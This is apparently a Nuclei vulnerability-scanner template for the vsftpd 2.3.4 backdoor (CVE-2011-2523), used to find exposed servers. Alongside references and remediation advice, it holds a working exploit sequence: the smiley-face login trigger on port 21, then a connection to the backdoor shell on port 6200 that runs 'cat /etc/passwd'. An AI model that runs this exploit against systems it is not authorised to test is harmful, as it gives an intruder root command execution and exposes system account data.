nuclei-templates/network/cves/2011/CVE-2011-2523.yaml

id: CVE-2011-2523

info:
  name: VSFTPD 2.3.4 - Backdoor Command Execution
  author: pussycat0x
  severity: critical
  description: |
    VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
    - https://www.exploit-db.com/exploits/49757
    - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
    - https://access.redhat.com/security/cve/cve-2011-2523
    - https://security-tracker.debian.org/tracker/CVE-2011-2523
  remediation: |
    Update to the latest version of VSFTPD, which does not contain the backdoor.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2011-2523
    cwe-id: CWE-78
    epss-score: 0.87236
    cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    shodan-query: product:"vsftpd"
    vendor: vsftpd_project
    product: vsftpd
  tags: cve,cve2011,network,vsftpd,ftp,backdoor
variables:
  cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
tcp:
  - host:
      - "{{Host}}:21"
    inputs:
      - data: "USER letmein:)\r\nPASS please\r\n"
        read: 100

  - host:
      - "{{Host}}:6200"
    inputs:
      - data: "{{cmd}}\n"
        read: 100
    matchers:
      - type: regex
        part: raw
        regex:
          - "root:.*:0:0:"